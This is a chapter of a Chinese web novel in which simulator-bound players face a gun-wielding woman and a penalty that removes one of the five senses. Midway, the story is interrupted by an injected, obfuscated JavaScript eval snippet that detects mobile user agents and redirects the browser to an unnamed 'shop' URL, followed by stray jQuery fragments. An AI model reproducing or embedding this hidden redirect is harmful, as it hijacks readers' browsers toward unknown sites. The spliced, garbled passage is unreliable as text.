石块立方体消失不见,被磁力悬空吸住的刀枪应声而落,在场的所有玩家惊觉,自己的模拟器打不开了。


    “完全不行!”陆亦轩拼命试图召唤出模拟器界面,“能力也失效了。”他看着周围的一圈人,头顶上空空如也,本来会出现在头顶的好感值数据与情绪都消失了。


    一个三十多岁的女人出现在只剩半截的墙壁旁,大光明高马尾,一身长款运动套装,但是随着白光散去,她的容貌似乎变得更年轻了些,身边墙根微微发光,正是那个所谓的锚点。


    她将手按在发光柱体上,它便凭空消失,应该是被回收了,她打量一眼在场唯一还站着的蓝西装:“你们还挺有本事的,能找到这里。”


    蓝西装也打量着她。


    百褶裙男人从碎石堆里爬起来,试图捡起麻花辫磁力失效后掉在地上的枪。


    注意到他的动作,蓝西装怒喝一声:“别动!”


    然而,高马尾比她们都更快一步,枪响过后,百褶裙男人的头像摔裂的西瓜,露出红色的瓤。


    “可惜了。”枪在她手里转了个圈,“再怎么样,也终究是一群蚂蚁,活不了多久。”


    她扫视全场,像是在评估一堆机器,评估它们的质量和灵敏度,朝这边转过来的时候,沈飞终于看到了她的正脸。


    “是你!”沈非不由惊叫出声,是之前在游轮上遇到过的服务生,也是在景区找自己合影的游客!沈非差不多意识到了,半夜闯进船舱房间的,恐怕也是她。


    “没想到你还记得,”听见声音,她看向沈非趴着的石堆,微微笑了一下,“我可真是受宠若惊。”


    沈非眼前又变成黑白色,她突然把枪转了个向,瞄准陆亦轩,一枪爆头。


    “趴下!”沈非立刻朝陆亦轩怒吼,捡起地上的砖块甩过去。


    石块没打到子弹,但陆亦轩卧倒得很快,于是子弹擦着他的头发飞过去,烧焦了几根,没伤到别的。


    “哎呀,”她有些讶异地瞥了沈非一眼,脸上的笑意更浓了,“真不愧是她最得意的作品。”


    “既然如此,你能预见自己的未来吗?”


    下一秒,高马尾手里的枪瞄准了沈非自己,预演疯狂闪动,枪往左移,沈非就往右躲,往上移,她就赶紧卧倒,在地上滚一圈,躲到墙后,靠着预判轨迹勉强没受伤,但是开枪的频率越来越快,随着预演次数增多,身体渐渐吃不消,沈非动作慢了一下,右腿被子弹打穿。


    她扑倒在地,周源扑过来抓住她的胳膊,但是没用——重置没有发生,蓝西装和麻花辫悄悄后退,偷偷摸摸地想跑。


    “果然,之前的静止,你才是主导。”她收起枪。


    “你的能力……应该是锚点?那么,封锁所有人模拟器的,又是什么?”沈非双手撑地,支持着上半身直立起来,死死盯着她,“你究竟是谁?”


    “想知道答案就自己去找,”高马尾眯起眼睛,“我很看好你,别让我失望。”


    说完这句话,又是一道白光闪过,再睁开眼,她已经消失得无影无踪。


    周源立刻尝试发动重置,成功将沈非的右腿复原如初。


    “她说我们活不了多久了,是什么意思?”陆亦轩从碎石堆中爬起来,惊魂未定地问。


    “模拟器究竟是什么东西?”刘琦的声音压得很低,似乎在自言自语。


    沈非还在思索刚才出现的人,对方的能力是什么?特殊能力可以有两种吗?她说沈非是最得意的作品,谁的作品?难道说,模拟器不仅仅是筛选玩家,还能设计玩家?


    疑影重重,她的脑中纷乱如麻,直到一只手拍在肩膀上才回神,沈非转身,对上刘琦复杂的目光。


    “你和周源,”刘琦直视沈非的眼睛,“是不是早就知道些什么?”


    “玩家的下场只有死,模拟器的副作用会越来越严重,直到药剂也无法缓解,”蓝西装女人远远站在一旁,此刻插话道,“你队友没告诉你?”


    刘琦和陆亦轩的脸色立刻惨白如纸。


    看着她的眼睛,混杂着祈求、苦涩、恐惧、震惊、不敢置信的一双眼睛,沈非张了张嘴,却什么都说不出口。


    另一个来自其它队伍的白卫衣男人颤抖地抬起手,指着蓝西装大叫:“怎么可能!你骗人!”


    “爱信不信。”她冷哼一声。


    【任务失败,触发惩罚,余额-1000,积分-100,以及隐藏惩罚,需要团队内某一个人来承受。】


    【请各团队推举出牺牲者,站在指定位置,超时未选出牺牲者,全队接受惩罚。】


    【倒计时:一分钟。】


    地上出现了四个光圈,两个只剩下唯一幸存者的队伍当然不需要推举,模拟器自动将她们拉到了光圈内,白卫衣男人无力地滑坐在地上,掩面痛哭,戴鸭舌帽的女人安静地站着,目光泛着死气,等待即将到来的命运。


    蓝西装一队本来想走,现在走不了了,两人不知道商量了什么,最后是麻花辫上前,在光圈内站定。


    只有沈非一组四个人没有减员,模拟器的倒计时还在继续:【33,32,31,……】


    谁也不知道这个惩罚究竟是什么,如果是死呢?谁也不敢赌。


    刘琦低着头,肩头微微抽动,周源双手抱臂,沉默地望着虚空中的某处,陆亦轩的目光在三个人身上转来转去,无助地越转越快。


    “我来吧。”沈非抬脚,径直迈进去。


    “你……万一……”陆亦轩震惊地看着她。


    “我是队长嘛,”沈非笑了笑,“总要承担责任的。”


    【12,11,10,……】


    周源拧着眉想上前,但是有人比他更快,刘琦突然冲上去,沈非被撞开,在地上滚了一圈,挣扎着爬起来:“刘琦!”


    光圈闭合了,模拟器无感情的声音响起:


    【惩罚开始。】


    耀眼的红光闪过,再睁眼,四个人还在原位,似乎并没有什么变化。


    白卫衣男人眨了眨眼睛,惨叫道:“怎么黑了!”


    蓝西装走上前,在麻花辫眼前挥了挥:“阿奚,你看得见吗?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757449|188979||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>麻花辫冲着她指了指耳朵:“你在说话吗?我应该是听不见了。”


    “刘琦,”沈非慌里慌张地扳住她的肩膀,“你怎么样?”


    “我好像没怎么样。”刘琦低头看着自己的手,攥成拳头又松开。


    【本次隐藏惩罚为:随机剥夺五感中的某一项,持续时间:24小时。】


    “我应该是味觉,”刘琦抿抿嘴,“还好,一天之后就没事了。”


    她甩开沈非的手:“你运气太差了,如果是你来,估计就抽到视觉或者听觉了。”


    “你,你不……怪我吗?”


    “一码归一码,好了,下一个任务还不知道是什么呢,好好休息吧。”


    刘琦转身欲走,沈非连忙追上去想拉住她。


    “说实话,其实你没有一定要告诉我的义务,我也理解你为什么不说,但是,”她叹口气,回过头,“隐瞒就代表着,我们不是对等的,可能你把我放在了需要被保护的位置上。”


    “我以为我们是平等的朋友,是战友,”刘琦认真地盯着沈非,“但是显然,现在还不是。”


    “你觉得呢?”


    刘琦独自离开了,沈非一个人被钉在原地,蓝西装把队友的尸体背起来,麻花辫跟在她身后,鸭舌帽双手揣兜,一动不动,白卫衣摸索着走了两步,被碎砖绊倒,趴在地上大喊大叫。


    刘琦真的改变了很多,她想。


    |||


    回到出租屋,刘琦给自己煮了碗面,没有味觉,吃起来像嚼橡皮,但她还是坚持着全部吃干净。


    刷了碗,她坐在床边,掏出手机,犹豫一会儿,最后没有拨出去。


    已经半夜两点了,明早再说吧。


    第二天早晨她起得很早,干脆躺在被子里点开手机。


    “诶琦琦,起床啦?什么事啊?”对面传来打麻将的声音,依刘琦对她的了解,恐怕是打了个通宵。


    “妈,”刘琦一听她的声音就想哭,“我——”遇上事儿了。


    嗓子突然哑了,就像汽车熄火,怎么也发动不起来。


    说不出来?!


    “我要——”死了。


    也不行。


    “我绑定——”模拟器。


    刘琦简直恼火到要摔手机了。


    “琦琦,你声音怎么这么不清楚啊?信号不好吗?哎我胡了!等一下啊。”


    “妈!”


    这一声让对面的人停了下来,好像意识到女儿有什么大事要说,她没有挂断。


    “我没事儿,你,你和爸爸最近怎么样?要照顾好自己。”刘琦竭力让自己的语气听起来欢快。


    “我们挺好的呀,你也是,缺钱了就跟妈妈说,咱家不指望着你非要干出一番大事业,你开开心心的,想玩就玩,别被坑去违法犯罪了就行。”


    隐约有谁在催:“刘姐,快点啊!就等你了!”


    “先不说了啊。”


    “嘟”的一声,刘琦放下手机,终于忍不住,把头埋在被子里,嚎啕大哭了起来。


    “咚咚咚。”